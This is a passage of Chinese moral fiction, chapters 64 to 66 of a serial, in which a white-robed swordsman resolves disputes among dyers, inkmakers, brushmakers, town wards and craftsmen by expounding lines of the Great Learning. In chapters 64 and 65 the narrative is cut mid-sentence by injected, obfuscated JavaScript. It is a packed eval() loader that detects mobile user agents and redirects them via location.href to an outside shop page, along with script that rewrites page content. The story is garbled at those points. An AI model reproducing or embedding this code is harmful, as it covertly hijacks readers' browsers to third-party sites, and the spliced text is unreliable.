钟声悠悠，散入万家灯火。 似在说： 自明啊，自明。 不假外求，不待他人。 本章诫世 一、 自明为要 - 《康诰》曰“克明德”，《大甲》曰“顾寔天之明命”，《帝典》曰“克明峻德”——皆言自明 - 破解法：遇事自问：我可自明？德在己心，命在己身，何须外求？ - 示例：三僧争匾，是不自明；经事悟道，是能自明 二、 三德一体 - 克明德：能明己德；顾明命：顾念天命；克明峻德：能明大德 - 惕世：多少人求佛求道，不求己心？多少人怨天尤人，不顾己命？ - 反思：可曾自明明德？可曾自顾天命？可曾自成峻德？ 三、 行胜于言 - 了尘舍衣，是行克明德；了因正师，是行顾明命；了缘克己，是行克明峻德 - 深层隐喻：德不在言说，在践行；明不在外显，在自省 - 终极指向：自明者，不求人知，但求己安；不待外誉，但尽本分 自明偈： 明德寺里三匾争，了尘了因了缘竞。 白衣引之入红尘，各明其德讼方定。 克明德在舍衣衾，顾明命在正师行。 克明峻德在克己，自明原不假外证。 后世叹： 三匾古寺起纷争，皆因僧人不自明。 白衣指点红尘事，克己顺天命自清。 富商闻钟改前非，恶少听偈拜母行。 寄语世间迷途客，莫向心外求光明。 正是： 康诰大甲帝典文，皆言自明德在心。 三匾蒙尘僧争讼，一日经事各自箴。 了尘舍衣明己德，了因正师顾天命。 了缘克己成峻德，自明方是菩提音。 64. 日新谳 楔子三旧讼 陈国旧都睢阳，有百年老铺三家鼎立：东街“日日新”染坊，传三代，以靛蓝驰名；西街“作新民”墨庄，历五世，以松烟著称；南街“惟新堂”笔肆，逾百年，以狼毫见长。三家皆悬古训为匾：“日日新”悬“苟日新，日日新，又日新”，“作新民”悬“作新民”，“惟新堂”悬“周虽旧邦，其命惟新”。 是岁，北地新料涌入，新染、新墨、新笔价廉物美。三家老铺生意凋零，门可罗雀。 染坊主程守旧叹：“祖传秘方，岂可轻改？” 墨庄主方守成曰：“百年老号，贵在守正。” 笔肆主笔守古道：“古法精微，新不如旧。” 三家宁可闭门歇业，亦不肯“逐新”。匠人星散，坊肆蒙尘。 是日，有白衣人策马过市，斗笠面纱，木剑负背，见三匾蒙尘，驻马问：“匾上所言，皆是‘新’字，何以铺面‘旧’气熏天？” 程守旧出揖：“客官不知，吾等守的是祖业根基。” 白衣人指“日日新”匾：“此铭出自商汤盘铭：‘苟日新，日日新，又日新。’汤以七十里兴，在日新其德。今贵坊守旧拒新，是违‘日日新’之训。” 又指“作新民”匾：“此句出自《康诰》：‘作新民。’周公告康叔，治殷民当使自新。今贵庄墨守成规，是悖‘作新民’之旨。” 再指“惟新堂”匾：“此诗出自《大雅》：‘周虽旧邦，其命惟新。’周承旧邦而行新命。今贵肆抱残守缺，是负‘其命惟新’之志。” 三主赧然。白衣人道：“某有一法，可使三家焕新。可愿试之？” 三主相视，拱手：“愿闻！” 一、 染坊日日新 白衣人先入“日日新”染坊。但见染缸污浊，布色黯淡。程守旧苦笑：“秘方传自曾祖，靛蓝十八煮，皂角九捶，然今人喜北地紫红，嫌靛蓝老旧。” 白衣人问：“靛蓝不可新乎？” “如何新？” 白衣人取坊中一匹素布，浸入靛缸，旋即取出，不待全染，即以白醋点洒。布上顿现青白晕纹，如云似水。又取石榴皮、茜草等杂色，局部浸染，竟成“青地紫纹”、“蓝底红花”，古朴中见新意。 程守旧惊：“此…此是何法？” “新法。”白衣人笑，“汤之盘铭，非谓日日革新器具，是谓日日革新其德、其艺。贵坊但知靛蓝，不知靛蓝可杂色；但知全染，不知点染。此非新乎？” 程守旧恍然，即召回流散匠人，试新染法。初时老匠抵制：“祖法不可变！”白衣人问：“尔祖初创时，亦是新法。若尔祖守旧，何来靛蓝？” 老匠语塞。白衣人又教“四季染”：春用柳芽嫩青，夏用荷瓣淡粉，秋用枫叶赭红，冬用雪水漂白。更创“诗纹染”，以蜡作画，染后去蜡，布上现诗一句，或“明月松间照”，或“清泉石上流”。 三月，新染布出，士女争购。程守旧喜，重悬“日日新”匾，加题小字：“日新其艺，日新其色，日新其意。” 白衣人颔首：“善。然勿忘‘日日新’——今日新，明日当更新。” 二、 墨庄作新民 白衣人又至“作新民”墨庄。方守成正对一堆滞销松烟墨发愁。白衣人取一锭，磨墨试笔，摇首：“墨色沉郁，然胶重滞笔。今人书风趋秀逸，此墨不合时宜。” 方守成叹：“松烟古法，九蒸九晒，岂可轻改？” “墨需新，人尤需新。”白衣人自袖中取数物：桐油、珍珠粉、冰片、麝香。“松烟为主，可杂他料：桐烟使墨亮，冰片使墨清，麝香使墨芳。更可制‘四季墨’：春墨加兰香，夏墨加荷露，秋墨加桂屑，冬墨加梅雪。” 方守成迟疑：“此非祖法…” “《康诰》云‘作新民’，非但使民自新，亦使艺自新。”白衣人取松烟，杂以桐油，制出新墨，书于纸，墨色鲜润，且带清香。“今读书人，非但求墨色，更求墨趣。墨有新意，人才趋新。” 方守成心动，试制新墨。然老匠拒用新方：“墨贵纯，杂则劣！”白衣人问：“尔等可知墨之本是书？书之本是道？道贵新，墨岂可固旧？” 遂办“墨会”，邀书生试墨。有狂生题诗嘲：“百年松烟老，滞笔如枯槁。何如北地墨，流畅似春涛。” 方守成惭，白衣人却取新制四季墨，请狂生再试。狂生书罢，惊：“此墨润而不滞，清而不薄，且有幽香，是何方制？” “作新民之墨。”白衣人笑，“墨新，源于人心新。贵庄但知制墨，不知制墨为谁。今读书人求新，墨当从新。” 方守成大悟，广采新方，制出“竹韵墨”（有竹香）、“石髓墨”（有金彩）、“锦绣墨”（七彩纷呈）。更设“墨工新塾”，教年轻匠人制新墨，曰：“作新民，先作新匠。” 三月，新墨行销，墨庄重张。方守成于“作新民”匾下添联：“作新墨，作新匠，作新气象。” 三、 笔肆惟新堂 白衣人最后至“惟新堂”笔肆。笔守古正对狼毫笔叹息：“北地羊毫价廉，狼毫价昂，购者日稀。” 白衣人取一笔，捻毫试锋，道：“笔锋劲健，然过刚。今人书小楷、行草，喜柔中带刚。狼毫可杂羊毫、兼毫，制出新锋。” 笔守古摇头：“狼毫百年口碑，岂可混杂？” “《诗》云‘周虽旧邦，其命惟新。’周承夏商旧邦，而行礼乐新制。贵肆承百年旧艺，岂不能制新笔？”白衣人取数种毫：狼毫、羊毫、马毫、鼠须，更取竹、木、骨、玉为管，试制“百变笔”：狼毫为心，羊毫为被，刚柔相济；竹管雕诗，木管刻画，赏用兼备。 更创“定制笔”：依书生手型、书风，特制笔锋长短、软硬。有秀士手弱，制“弱腕笔”；有壮士力强，制“强腕笔”。 笔守古仍疑：“此非正道…” 白衣人邀其观“笔冢”——肆后荒丘，埋废弃旧笔数千。白衣人指冢叹：“此皆不新之笔。笔不新，人弃之如冢中骨。贵肆欲入冢乎？” 笔守古汗下，遂试新法。然老笔工抵制：“笔有祖型，岂可乱制？” 白衣人设“比笔会”：取北地新笔与“惟新笔”同试。书生盲试，十之七八择“惟新笔”。问其故，答曰：“称手”、“流畅”、“有趣”。 笔守古乃信，大行新制，更创“诗笔”——笔管刻唐诗，笔锋合诗意。如“春风又绿江南岸”笔，锋柔如柳；“铁马冰河入梦来”笔，锋健如铁。 三月，惟新堂客似云来。笔守古于“其命惟新”匾下添注：“笔命惟新，在合时宜；人命惟新，在顺天机。” 四、 三新会 三家革新，睢阳轰动。然有守旧耆老斥：“弃祖法，逐末流，可耻！” 是年端午，三家合办“三新会”，邀全城品评。白衣人为主盟，设三关： 第一关“日日新”：程守旧展出四季染、诗纹染，更现“一日三变布”：晨靛青，午渐蓝，暮转紫。观者称奇。 第二关“作新民”：方守成陈列四季墨、香墨、彩墨，更设“墨戏”，以墨作画，墨香满场。书生争购。 第三关“其命惟新”：笔守古展示百变笔、定制笔、诗笔，更演“一笔书四体”——同一笔，可写篆隶楷草。观者喝彩。 耆老仍嗤：“奇技淫巧！” 白衣人朗声道：“诸公只见技巧，不见其道。汤之日新，在德不在器；周公作新民，在教化不在政令；周邦惟新，在命不在邦。今三家之日新，是承古训而开新境：染坊日新其色，是承‘苟日新’之勤；墨庄作新其墨，是承‘作新民’之化；笔肆惟新其笔，是承‘其命惟新’之志。此非弃祖，是光祖业；非逐末，是开新元。” 取木剑，就场中青石刻铭： “苟日新，非日新其表， 是日新其德。 作新民，非强民以新， 是导民自新。 其命惟新，非改其旧邦， 是焕其新命。 是故君子无所不用其极—— 极心以新德， 极力以新艺， 极志以新命。” 刻毕，三主拜服。耆老中有通儒，叹：“老夫错矣！新不在弃旧，在承旧开新。三家得之。” 自此，睢阳老铺纷纷效仿：老酒坊制新酿，老药铺研新方，老铁铺打新器。白衣人笑谓三主：“新潮既开，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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歌罢，木剑化柳，植于城楼。每逢春风，柳絮纷飞，如新雪，如新思。 城中童子传唱《日新谣》： “苟日新，日日新， 又日新。 染布要有新花色， 做人要有新精神。 作新民，作新民， 墨要新，人要新。 旧邦新命惟新堂， 笔新命新万象新。 君子无所不用极， 极心极力极志诚。 莫道新不如旧好， 旧根新芽才是春。” 谣声起处，染坊新布飘，墨庄新香溢，笔肆新毫动。 似在说： 新啊，新啊。 在德，在艺，在命。 本章诫世 一、 日新其德 - 苟日新，日日新，又日新——日新在德，不在表 - 破解法：每日自问：今日德可有新进？今日过可有新改？ - 示例：染坊日新其色，更日新其德，方是真新 二、 作新民之本 - 作新民——非强民以新，是导民自新 - 惕世：多少人守旧拒新，自诩正统？多少人逐新忘本，沦为浮萍？ - 反思：可曾作新民？是表面之新，还是根本之新？ 三、 其命惟新 - 周虽旧邦，其命惟新——旧邦可承，新命当立 - 深层隐喻：人虽旧我，命可日新。新命在行善积德，不在改头换面 - 终极指向：君子无所不用其极——极心竭力，日新又新，方是全功 日新偈： 睢阳三家守旧坊，染墨笔三业俱荒。 白衣指点日新法，承旧开新焕荣光。 苟日新在德艺进，作新民在导化彰。 旧邦新命惟新志，君子用极万世昌。 后世叹： 三家老铺百年基，不肯更新渐式微。 白衣引训盘铭诰，旧邦新命焕生机。 染坊色新德守本，墨庄香新匠守规。 笔肆锋新管守正，日新谣唱白云飞。 正是： 汤盘日日新又新，康诰新民殷鉴真。 周虽旧邦命惟新，君子用极在尽心。 三家老店守旧敝，一经点拨焕新春。 寄语世间守成者，莫将祖训化腐尘。 65. 知止谳 楔子五禽讼 荆南有山城名“止止邑”，相传周时文王巡狩至此，闻山民歌曰“止止止”，叹“于止，知其所止”，遂赐邑名。城中有五坊，分悬五匾：东坊“仁止坊”，南坊“敬止坊”，西坊“孝止坊”，北坊“慈止坊”，中坊“信止坊”，取“为人君止于仁，为人臣止于敬，为人子止于孝，为人父止于慈，与国人交止于信”之意。 然百年以降，五坊名存实亡：仁止坊出酷吏，敬止坊出佞臣，孝止坊出逆子，慈止坊出严父，信止坊出奸商。邑人嘲：“五止坊，五不止。” 是岁春，邑中忽现奇事：有黄鸟数百，自南山来，不栖林，不落檐，专聚五坊匾额之上，昼夜鸣叫，声如“止止止”。邑人驱之不去，以为异兆。 邑宰荀仁（居仁止坊）疑：“鸟止匾上，是警吾等不知止乎？” 师爷贾敬（居敬止坊）谄：“明公多虑，鸟雀无知。” 富商钱信（居信止坊）嗤：“何不捕鸟售之？” 正纷扰间，有白衣人乘白马入邑，斗笠面纱，木剑悬腰，仰观匾上黄鸟，朗声诵诗： “缗蛮黄鸟，止于丘隅。” 又诵： “穆穆文王，於缗熙敬止！” 诵罢，问众人：“鸟知止于丘隅，人知止于何处？” 众愕然。白衣人指五匾：“此五止，人伦之止。今五坊五不止，是人之不如鸟也。” 荀仁揖问：“请先生明示。” 白衣人道：“某有一法，可使五坊知止。请五坊各出一人，随我行一日，观五桩‘知止’公案。” 一、 仁止谳（东坊） 东坊屠户牛大，性暴虐，常殴妻虐子。是日，因妻置菜稍咸，竟举刀追砍。妻逃入仁止坊，坊正荀仁乃邑宰，闻报蹙眉：“清官难断家务事。” 白衣人引荀仁至，问：“宰为邑父母，当止于何？” 荀仁答：“当止于仁。” “今子民相残，宰坐视，是仁否？” 荀仁汗颜，即升堂问案。牛大嚷：“吾打自家婆娘，干官甚事？” 白衣人问：“尔居仁止坊，可知‘止于仁’？” 牛大嗤：“屠户但知宰畜，不知仁字。” 白衣人忽指匾上黄鸟：“黄鸟尚知止于丘隅，尔为人，不知止于仁乎？仁者爱人，尔爱妻否？爱子否？” 牛大语塞。白衣人又谓荀仁：“为人君，止于仁。宰为一邑之君，当以仁化民，非以法慑民。今牛大不知仁，宰当教之。” 荀仁乃判：牛大当街向妻谢罪，并禁屠三日，思仁。牛大初不服，白衣人取木剑击其屠刀，刀身现字：“刀可宰畜，不可伤人；人可有怒，不可无仁。”牛大惊，方谢罪。 白衣人谓荀仁：“仁非不罚，是罚中带教。今宰使悍夫知悔，是行仁。然仁无止境，当‘穆穆文王，於缗熙敬止’，绵绵不息。” 荀仁拜服，重悬“仁止坊”匾，自题“仁者爱人，爱人者人恒爱之”。自此，凡坊中纠纷，先以仁教，后以法绳。 二、 敬止谳（南坊） 南坊有富户主仆，主名赵贵，仆名阿忠。赵贵刻薄，常辱阿忠：“贱奴，离吾门，饿死路旁！”阿忠忍气吞声。 师爷贾敬过其门，佯装不见。白衣人引贾敬至，问：“师爷为邑宰佐贰，当止于何？” 贾敬答：“当止于敬。” “敬上乎？敬下乎？” 贾敬语塞。白衣人道：“为人臣，止于敬。敬非只敬上，是敬职、敬人、敬事。今主虐仆，师爷见而不问，是失敬。” 贾敬惭，遂入赵宅劝。赵贵嗤：“吾训家奴，干卿何事？” 白衣人问：“尔可知‘敬’字？敬人者，人恒敬之；辱人者，人恒辱之。今尔辱仆，他日或有辱尔者。” 赵贵大笑：“谁敢辱吾？” 话音未落，有债主上门逼债，辱赵贵：“欠债不还，猪狗不如！”赵贵赧然。白衣人曰：“此即现世报。尔若不改，他日受辱更甚。” 赵贵悟，向阿忠赔礼，改以礼待。阿忠泣谢。 白衣人谓贾敬：“敬，非唯唯诺诺，是持正守分。师爷敬职，当劝主以正；敬人，当恤仆以仁。今事已了，然敬无止境，当如文王‘於缗熙敬止’，庄敬不息。” 贾敬愧，于“敬止坊”匾下立“敬训碑”，刻“敬上敬下，敬人敬己”。自此，坊中主仆相敬，少闻呵斥。 三、 孝止谳（西坊） 西坊有寡母陈氏，育子刘顺。顺长成，娶妻王氏。王氏悍妒，厌姑老，唆顺逐母。顺初不肯，王氏以休妻胁，顺遂筑草屋于郊，置母其中，月供糙米三升。 陈氏泣告坊邻，邻人皆责顺。顺强辩：“吾妻亦孝，然婆媳难处。” 白衣人引孝止坊老宿钱孝（钱信之父）至草屋，问：“老者，尔居孝止坊，可知孝道？” 钱孝年高昏聩，喃喃：“孝…顺为孝…” 白衣人指陈氏：“此母育子，子弃之，是顺乎？孝乎？” 钱孝恍然，拄杖责顺：“逆子！吾坊名孝止，岂容尔败辱！” 顺不服：“吾家事，外人莫管！” 白衣人忽诵：“於止，知其所止，可以人而不如鸟乎！ 黄鸟知止丘隅，尔为人子，不知止于孝乎？孝者，养亲之身，顺亲之心。今尔养而不敬，顺妻逆母，禽兽不如！” 又谓钱孝：“为人子，止于孝。老丈为坊宿，当以孝化人，非只责人。” 钱孝乃召全坊，开“孝堂”，请陈氏上坐，命顺夫妇跪听《孝经》。坊中子弟皆观。顺惭悔，背母归家，出王氏。王氏泣悔，誓改。 白衣人谓钱孝：“孝非虚礼，是实心奉养。今逆子知悔，是孝道可化。然孝无止境，当‘止于至善’。” 钱孝遂于坊中设“孝老堂”，供养孤寡。西坊渐成孝义之乡。 四、 慈止谳（北坊） 北坊有严父郑苛，教子极严，子郑勤稍有怠，辄鞭笞。勤年十五，遍体鳞伤，逃学游荡。 慈止坊坊正严慈（名慈实严），闻之反赞：“严父出孝子！” 白衣人引严慈至郑宅，正值郑苛鞭子。勤哀嚎，郑苛骂：“不成器，打死也罢！” 白衣人止之：“为人父，当止于何？” 郑苛答：“止于严！” “非也，《大学》云：为人父，止于慈。” 郑苛嗤：“慈母多败儿！” 白衣人问：“尔可知黄鸟育雏？雏饥喂食，雏寒覆羽，是严乎？慈乎？” 郑苛语塞。白衣人道：“慈非溺爱，是严慈相济。过严则子惧，过慈则子骄。今尔鞭笞无度，是失慈。子逃学，是畏学，非厌学。” 又谓严慈：“坊正居慈止坊，当倡慈道。今坊中有严无慈，坊名虚设。” 严慈惭，劝郑苛。郑苛不改。白衣人取木剑，就地上划一痕，曰：“此痕为界。子有过，父可教，不可越此痕鞭之。越痕则伤慈。” 郑苛不从，举鞭越痕。忽有黄鸟数只，飞啄其手。郑苛惊，鞭落。白衣人曰：“禽鸟尚知护雏，尔为人父，不知慈乎？” 郑苛悟，抱子泣。自此严慈有度，勤力学。 白衣人谓严慈：“慈，是爱中有教，教中有爱。坊正当化导坊民，使父慈子孝。然慈无止境，当如天地育物，生生不息。” 严慈遂于坊中设“慈幼堂”，教严父慈道。北坊渐有慈名。 五、 信止谳（中坊） 中坊富商钱信，开“信义当铺”，然出轻入重，欺压贫民。有佃户周实，以祖传玉镯典银十两救母，约期三月。期满，周实携本利赎，钱信竟称“镯有瑕”，只值五两。周实愤而争辩，钱信命仆逐之。 白衣人引钱信至当铺，正值周实哭诉。钱信傲然：“买卖自愿，何欺之有？” 白衣人问：“尔铺名‘信义’，尔居信止坊，可知信字？” “信者，契约也。彼逾期三日，吾按约扣抵，何不信？” 白衣人取当票，指“玉镯一只，值银十两”字样：“镯在何处？” 钱信出示玉镯，果有微瑕。白衣人问：“典当之日，尔可曾言瑕？” 钱信语塞。白衣人道：“与国人交，止于信。信非只守契，是存诚心。尔见瑕不告，是欺；压价不公，是诈。此等行径，是信否？” 又谓围观者：“信止坊，当人人守信。今有坊民失信，全坊蒙羞。黄鸟尚知止于丘隅，人不知止于信乎？” 众皆责钱信。钱信惭，退镯还银，更赔银五两谢罪。周实泣谢。 白衣人谓钱信：“信，是立身之本。商无信不立，人无信不行。今尔知悔，善莫大焉。然信无止境，当终身守之。” 钱信遂改铺规：典当之物，有瑕必告；估价买卖，童叟无欺。更于坊中设“信义榜”，旌表守信者。中坊渐复“信止”之名。 六、 五止会 五坊事毕，白衣人集众于邑中“止止台”，黄鸟群集，环台而鸣。 白衣人朗声道：“《诗》云：‘邦畿千里，惟民所止。’民之所止，在仁、敬、孝、慈、信。今五坊各经一事，可知止乎？” 荀仁曰：“仁者爱人，非空言，是力行。吾知止于仁矣。” 贾敬曰：“敬者持正，非谄上，是敬事。吾知止于敬矣。” 钱孝曰：“孝者奉养，非虚礼，是诚心。吾知止于孝矣。” 严慈曰：“慈者育教，非溺纵，是严慈。吾知止于慈矣。” 钱信曰：“信者守诚，非契约，是良心。吾知止于信矣。” 白衣人颔首：“善。然知止非一时，是终身。鸟知止丘隅，因丘隅可栖；人知止五伦，因五伦可安。今五坊知止，当使全邑知止。” 遂率众重悬五坊匾，更于“止止台”立碑，刻《大学》章句，并加跋： “仁止坊， 非止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088217|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于不行， 是止于爱人。 敬止坊， 非止于不争， 是止于持正。 孝止坊， 非止于不逆， 是止于奉养。 慈止坊， 非止于不严， 是止于育教。 信止坊， 非止于不欺， 是止于守诚。 五止俱备， 邑可止于善。” 碑成，黄鸟群飞，各栖五匾，鸣声如乐。邑人奇之，白衣人道：“鸟知人所止，故来和鸣。人若不止，鸟亦不栖。” 自此，五坊民各守其止：仁止坊多仁人，敬止坊多敬事，孝止坊多孝子，慈止坊多慈父，信止坊多信商。邑风一新。 尾声知止谣 三年后，止止邑成礼义之乡。有外邑恶少来扰，见邑人仁让、敬事、孝亲、慈幼、守信，惭而自改。 白衣人偶过，见童子嬉戏，唱《知止谣》： “黄鸟黄鸟止丘隅， 人不如鸟知止乎？ 仁止坊里知爱人， 敬止坊里知敬主。 孝止坊里知奉养， 慈止坊里知育抚。 信止坊里知守诚， 五止俱全是完人。 文王穆穆敬不止， 君子学他止于仁。” 白衣人笑问：“汝等知止，止于何处？” 童答：“爷爷说，止于做好人。” “如何是好人？” “仁爱好人，敬重好人，孝顺好人，慈爱好人，信实好人。” 白衣人拊掌。有老叟来，正是钱孝，邀白衣人茶。席间问：“先生，五止之外，尚有止否？” 白衣人答：“五止是人伦之止。此外，学无止，行无止，德无止。然知人伦之止，可立根基。譬如筑室，先固地基，方可起高楼。” 又指天：“天行健，君子以自强不息。知止，非止步，是知所当止之处。于仁敬孝慈信处止，于进德修业处不息。” 老叟拜服。白衣人踏歌出邑，歌曰： “邦畿千里民所止， 黄鸟丘隅知所之。 文王穆穆敬不止， 君子五止是根基。 仁敬孝慈信， 五止如五趾。 趾稳身方立， 身立可行远。” 歌罢，木剑化梅，植于止止台畔。每岁冬尽，梅开五瓣，邑人云“五止梅”。 后有游学士子过邑，问：“五止之说，岂非拘泥？” 邑童答：“黄鸟知止，故不困；人知止，故不殆。先生不见五止梅？五瓣各展，终成一花。” 学子恍然，题诗壁上： “知止非是止不行， 五伦止处是根本。 黄鸟丘隅有深意， 文王穆穆敬中寻。” 邑人传诵，以为至理。 本章诫世 一、 知其所止 - 黄鸟止于丘隅，人当止于仁、敬、孝、慈、信 - 破解法：每日自问：我于仁止否？于敬止否？于孝止否？于慈止否？于信止否？ - 示例：五坊各不知止，经事方知止处 二、 五止之义 - 为人君，止于仁；为人臣，止于敬；为人子，止于孝；为人父，止于慈；与国人交，止于信 - 惕世：多少人为君不仁？为臣不敬？为子不孝？为父不慈？交友无信？ - 反思：我在五伦中，可止于当止之处？ 三、 不止之止 - 知止非止步，是知所当止。于伦常当止，于进德不当止 - 深层隐喻：鸟知止，故得安栖；人知止，故得安心 - 终极指向：穆穆文王，於缗熙敬止——敬慎不息，是知止之真义 知止偈： 止止邑中五坊非，仁敬孝慈信俱违。 黄鸟集匾鸣不止，白衣引经指皈依。 屠户知仁谢妻罪，主仆知敬不相欺。 逆子知孝奉寡母，严父知慈教有仪。 奸商知信退玉镯，五止俱备民风熙。 寄语世间迷途客，知止方是安乐基。 后世叹： 五坊空悬五止匾，伦常颠倒不如禽。 白衣指点五桩案，人人知止邑风新。 黄鸟来集非异兆，文王诗句是金箴。 至今止止台前梅，五瓣常开示止心。 正是： 邦畿千里民所止，黄鸟丘隅知所之。 为人君者止于仁，为人臣者止于敬。 为人子者止于孝，为人父者止于慈。 与国人交止于信，五止备尽是完人。 止止邑中五坊讼，白衣指点各归真。 寄语世间流浪客，知止方是安乐津。 66. 斐玉谳 楔子四匠讼 淇水之滨有城名“斐玉邑”，邑中多竹，猗猗成林。相传古时有君子游此，见竹而有悟，作“如切如磋，如琢如磨”之句，邑遂得名。城中有四匠世家：治玉的陆氏、攻石的郑氏、斫琴的焦氏、铸剑的薛氏，皆以“切磋琢磨”为祖训，悬匾于门。 然百年以降，四匠技艺虽精，德性渐衰：陆氏玉工以次充好，郑氏石匠偷工减料，焦氏琴师恃才傲物，薛氏剑师争强斗狠。邑人嘲：“切磋琢磨，切利磋名，琢伪磨诈。” 是年仲夏，淇水暴涨，冲毁古碑，碑文现于河滩，正是“瞻彼淇澳，菉竹猗猗。有斐君子…”全章。邑人聚观，有老者叹：“此君子之德，今安在哉？” 忽有白衣人策马而至，斗笠面纱，木剑悬腰，下马观碑，朗声诵道： “‘如切如磋’者，道学也； ‘如琢如磨’者，自修也； ‘瑟兮僩兮’者，恂栗也； ‘赫兮喧兮’者，威仪也。” 诵罢，环视四匠：“四家皆悬‘切磋琢磨’，可知其真义？” 四匠主出列揖问。白衣人道：“切磋琢磨，非仅治器，是治德。今某有一法，可使四家明德。可各持祖匾，随我行一日，见四桩‘斐玉’公案。” 一、 切磋谳（道学） 陆氏玉工名陆琨，有徒三人。陆琨授艺藏私，每教必留一手，恐徒超己。是日，三徒合制一玉佩，纹路不协，求师指点。陆琨冷笑：“切磋琢磨，在自悟！”拂袖而去。 白衣人引陆琨至玉坊，指匾问：“‘如切如磋’，何谓也？” 陆琨答：“治玉之法，切以去瑕，磋以成形。” “非也。《大学》云：‘如切如磋者，道学也。’道学，是与师友切磋学问。今尔为师，不与徒切磋，是违道学。” 陆琨不服：“艺不轻传！” 白衣人取璞玉一方，问三徒：“此玉可治何物？” 大徒曰：“可治璧。” 二徒曰：“可治璜。” 三徒曰：“可治玦。” 白衣人颔首：“三人三见，切磋则明。尔等试共治之。” 三徒协作，切、磋、琢、磨，竟成“三合璧”：一玉三分，各成璧、璜、玦，合则成璧。观者称绝。 白衣人谓陆琨：“切磋之道，在互益。尔藏私，徒不进，尔亦不进。譬如竹，独竹易折，丛竹抗风。道学亦然，独学无友，孤陋寡闻。” 陆琨惭，遂开“琢玉会”，与徒共研，更邀郑、焦、薛三氏互鉴。玉技大进，所制“淇澳竹纹佩”，风行一时。 二、 琢磨谳（自修） 郑氏石匠名郑硕，善雕碑。然性躁，常半途而废。是岁受刻“斐玉碑”，摹古碑文，刻三月，误一字，怒欲碎碑。 白衣人引郑硕至碑前，指匾问：“‘如琢如磨’，何谓也？” 郑硕答：“治石之法，琢以成胚，磨以成光。” “非也。《大学》云：‘如琢如磨者，自修也。’自修，是精益求精，如琢如磨，不辍不息。今尔一误即弃，是不知琢磨。” 郑硕辩：“石已损，不可救！” 白衣人取误字处，以凿轻琢，改误笔为竹节；又磨四周，成竹枝纹。误字竟成“竹字纹”，与碑文“菉竹猗猗”相映成趣。 “误可改，败可成。”白衣人道，“自修之道，在遇挫愈进。昔夫子学琴，一曲习十日，是琢磨；匠石运斤，斫垩不伤鼻，是琢磨。今尔一误即躁，岂是君子？” 郑硕悟，遂静心重刻。三年，碑成，字如竹挺，纹如竹曳，人称“竹韵碑”。郑硕自题：“琢磨非仅治石，是治性。性躁石损，性静石成。” 三、 瑟僩谳（恂栗） 焦氏琴师名焦桐，制琴冠绝一方，然恃才傲物，轻慢宾客。有寒士慕名求琴，焦桐见其衣敝，嗤：“吾琴千金，尔可购乎？”寒士赧退。 白衣人引焦桐至琴室，指匾问：“‘瑟兮僩兮’，何谓也？” 焦桐傲然：“瑟，庄重也；僩，武毅也。吾制琴时，庄重武毅，正是瑟僩。” “差矣。《大学》云：‘瑟兮僩兮者，恂栗也。’恂栗，是谨慎敬畏。今尔恃才傲物，何恂栗之有？” 恰有琴客至，焦桐不迎，自顾调弦。白衣人问客：“闻焦琴师琴艺无双，可愿一听？” 客曰：“愿闻。” 焦桐抚琴，果妙绝。然白衣人叹：“琴音傲，失中和。昔师旷鼓琴，玄鹤起舞；伯牙鼓琴，子期知音。今尔琴中无敬，何以感人？” 焦桐不服。白衣人自取焦桐所弃废材，斫琴一张，形制古朴。奏《淇澳》之曲，声如竹吟，清肃庄敬，闻者肃然。 焦桐惊问：“此材下品，何以至此？” 白衣人道：“材有上下，心无高低。尔心傲，故琴音傲；吾心敬，故琴音敬。瑟兮僩兮，非外显庄武，是内心恂栗。心存敬畏，琴自有威。” 焦桐大惭，遂改性谦恭，设“共琴堂”，有求必应。后制“恂栗琴”，音色肃穆，人谓“有君子风”。 四、 赫喧谳（威仪） 薛氏剑师名薛芒，铸剑锋利，然好勇斗狠，常与人比剑伤和。是日，有游侠论剑，语侵薛芒，薛芒怒而挑战，断其剑。 白衣人引薛芒至剑庐，指匾问：“‘赫兮喧兮’，何谓也？” 薛芒振剑：“赫喧，威仪赫赫也！吾剑出，群雄慑服，正是威仪！” “谬哉。《大学》云：‘赫兮喧兮者，威仪也。’威仪，是德威仪态，非武力慑人。今尔以剑凌人，何威仪之有？” 薛芒不服。白衣人取木剑，曰：“尔剑利，可断吾木剑否？” 薛芒笑，挥剑斩之。然木剑柔韧，竟不断。三斩不断，薛芒惊。 白衣人道：“剑之威，在德不在锋。昔季札挂剑，是信威；项羽扛鼎，是力威。今尔恃力，威仅及身；若恃德，威及四方。赫喧威仪，是德盛自然之光，非强横霸道之气。” 薛芒拜问：“何以修德威？” 白衣人引其观竹：“竹，中空有节，挺拔不折。君子如竹，虚心有节，是谓威仪。尔铸剑，亦当铸德：剑锋如竹节，刚直不阿；剑德如竹心，虚怀若谷。” 薛芒悟，遂改行“德剑”：铸剑必先修心，售剑必问其用。有暴客购剑，拒之；义士求剑，赠之。后铸“竹节剑”，剑身有节纹，铭“赫喧在德”。 五、 斐玉会 四匠各悟，白衣人集于淇澳竹林，设“斐玉会”。 白衣人指竹道：“《诗》云‘瞻彼淇澳，菉竹猗猗。有斐君子，如切如磋…’竹有七德：虚、直、节、韧、青、群、固。君子如竹，切磋琢磨以成德。” 遂请四匠各献新作： 陆琨献“三合璧”，曰：“此璧由三徒合制，喻切磋之道。吾悟：道学在共进，非独藏。” 郑硕立“竹韵碑”，曰：“此碑由误改就，喻琢磨之功。吾悟：自修在恒毅，非躁弃。” 焦桐奏“恂栗琴”，曰：“此琴由废材成，喻瑟僩之敬。吾悟：恂栗在谦畏，非傲慢。” 薛芒示“竹节剑”，曰：“此剑以竹为铭，喻赫喧之威。吾悟：威仪在德盛，非力强。” 白衣人拊掌：“善！四子已得切磋琢磨之真义。然《诗》云‘有斐君子，终不可諠兮’，道盛德至善，民不能忘。四子之德，可能令人不忘否？” 